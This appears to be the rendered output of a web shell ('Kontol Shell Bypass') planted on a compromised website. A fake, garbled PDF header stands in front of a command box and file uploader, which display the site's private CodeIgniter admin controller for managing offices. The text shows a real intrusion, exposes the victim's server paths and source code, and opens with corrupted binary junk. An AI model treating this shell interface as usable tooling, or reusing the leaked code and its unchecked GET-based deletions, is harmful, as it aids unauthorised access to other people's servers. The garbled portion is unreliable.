%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/agusttya.com/application/modules/admin/controllers/manageoffices/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/agusttya.com/application/modules/admin/controllers/manageoffices/Manageoffices.php
<?php

if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}

class Manageoffices extends ADMIN_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->model('Office_model');
    }

    public function index()
    {
        $this->login_check();
        $data = array();
        $head = array();
        $head['title'] = 'Administration - Manage Offices';
        $head['description'] = 'Administration - Manage Offices';
        $head['keywords'] = 'Administration - Manage Offices';
		// Delete Offices
		if (isset($_GET['delete'])) {
            $this->Office_model->deleteRecords($_GET['delete']);
            $this->session->set_flashdata('success', 'Office is deleted!');
            $this->saveHistory('Delete Office_model id - ' . $_GET['delete']);
            redirect('admin/manageoffices');
        }
		
		// Get happenings
		$data['offices'] = $this->Office_model->getOffices(NULL, NULL);
		
		// Get Sections
		$data['categoryArray'] = $this->Office_model->getcategoryList('tbl_offices_category');
		
        $this->load->view('_parts/header', $head);
        $this->load->view('manageoffices/manageoffices', $data);
        $this->load->view('_parts/footer');
        $this->saveHistory('Go to Manage Offices');
    }

	public function addoffices()
	{
		$this->login_check();
        $data = array();
        $head = array();
        $head['title'] = 'Administration - Add Offices';
        $head['description'] = 'Administration - Add Offices';
        $head['keywords'] = 'Administration - Add Offices';
		
		
		if (isset($_POST['submit'])) {
			$this->form_validation->set_rules('title', 'Title', 'trim|required');
			$this->form_validation->set_rules('description', 'Description', 'trim|required');
			$this->form_validation->set_rules('status', 'Status', 'trim|required');
       
			if ($this->form_validation->run($this)) {
				$_POST['office_image'] = $this->uploadImage();
			
				$_POST['title'] = seo_friendly_url($_POST['title']);
				$_POST['description'] = seo_friendly_url_desc($_POST['description']);
				$_POST['slug'] = str_replace(array(" ","'","&",";",":","`"),"-",valid_seo_friendly_url(strtolower($_POST['slug'])));
				$this->Office_model->setOffices($_POST);
				$this->session->set_flashdata('success', 'Offices Added Successfully');
				if ($id == 0) {
					$this->saveHistory('Offices Added Successfully');
				} else {
					$this->saveHistory('Offices Updated Successfully');
				}
				
				redirect('admin/manageoffices');
			}   
        }
		
		// Get Office List
		if(isset($_GET['edit'])){
		$_POST = $this->Office_model->getOffices($_GET['edit']);
		}
		// Set Sections
		$data['categoryArray'] = $this->Office_model->getcategory('tbl_offices_category');
		
	 	$this->load->view('_parts/header', $head);
        $this->load->view('manageoffices/addoffices', $data);
        $this->load->view('_parts/footer');
        $this->saveHistory('Go to Add New Offices');
	}
	
	/*
	* Function : sections
	*/
	
	public function managecategory()
	{
		$this->login_check();
        $data = array();
        $head = array();
        $head['title'] = 'Administration - Manage Category';
        $head['description'] = 'Administration - Manage Category';
        $head['keywords'] = 'Administration - Manage Category';
		
		// Delete Sections
		if (isset($_GET['delete'])) {
			
            $this->Office_model->delete_records('tbl_offices_category',$_GET['delete']);
            $this->session->set_flashdata('success', 'Category is deleted!');
            $this->saveHistory('Delete Catgeory id - ' . $_GET['delete']);
            redirect('admin/manageoffices/managecategory');
        }
		
		
		// Set category
		$data['categoryArray'] = $this->Office_model->getAllcategories('tbl_offices_category');
		
		$this->load->view('_parts/header', $head);
        $this->load->view('manageoffices/managecategory', $data);
        $this->load->view('_parts/footer');
        $this->saveHistory('Go to Manage Category');	
	}
	
	public function addcategory()
	{
		$this->login_check();
        $data = array();
        $head = array();
        $head['title'] = 'Administration - Add Category';
        $head['description'] = 'Administration - Add Category';
        $head['keywords'] = 'Administration - Add Category';
		if (isset($_POST['submit'])) {
			
			$this->form_validation->set_rules('category_name', 'Category Name', 'trim|required');
			$this->form_validation->set_rules('status', 'Status', 'trim|required');
       
			if ($this->form_validation->run($this)) {
			
				$this->Office_model->setCategory($_POST);
				$this->session->set_flashdata('success', 'Category Added Successfully');
				if ($id == 0) {
					$this->saveHistory('Category Added Successfully');
				} else {
					$this->saveHistory('Category Updated Successfully');
				}
				
				redirect('admin/manageoffices/managecategory');
			}   
        }
		if(isset($_GET['edit']))
		{
			$_POST = $this->Office_model->getcategory('tbl_offices_category', $_GET['edit']);
		}
		$this->load->view('_parts/header', $head);
        $this->load->view('manageoffices/addcategory', $data);
        $this->load->view('_parts/footer');
        $this->saveHistory('Go to Add New Category');	
	}
	
	/*
	* Function : uploadImage
	*/
	private function uploadImage()
    {
	
        $config['upload_path'] = './attachments/offices_images/';
        $config['allowed_types'] = $this->allowed_img_types;
		
        $this->load->library('upload', $config);
        $this->upload->initialize($config);
        if (!$this->upload->do_upload('office_image')) {
            //log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
        }
        $img = $this->upload->data();
		// Resize Image
		if(!empty($img['file_name'])) {
			//resizeImage($img['file_name'],'250','250','attachments/happening_images');
		}
        return $img['file_name'];
    }
	
	
}

Kontol Shell Bypass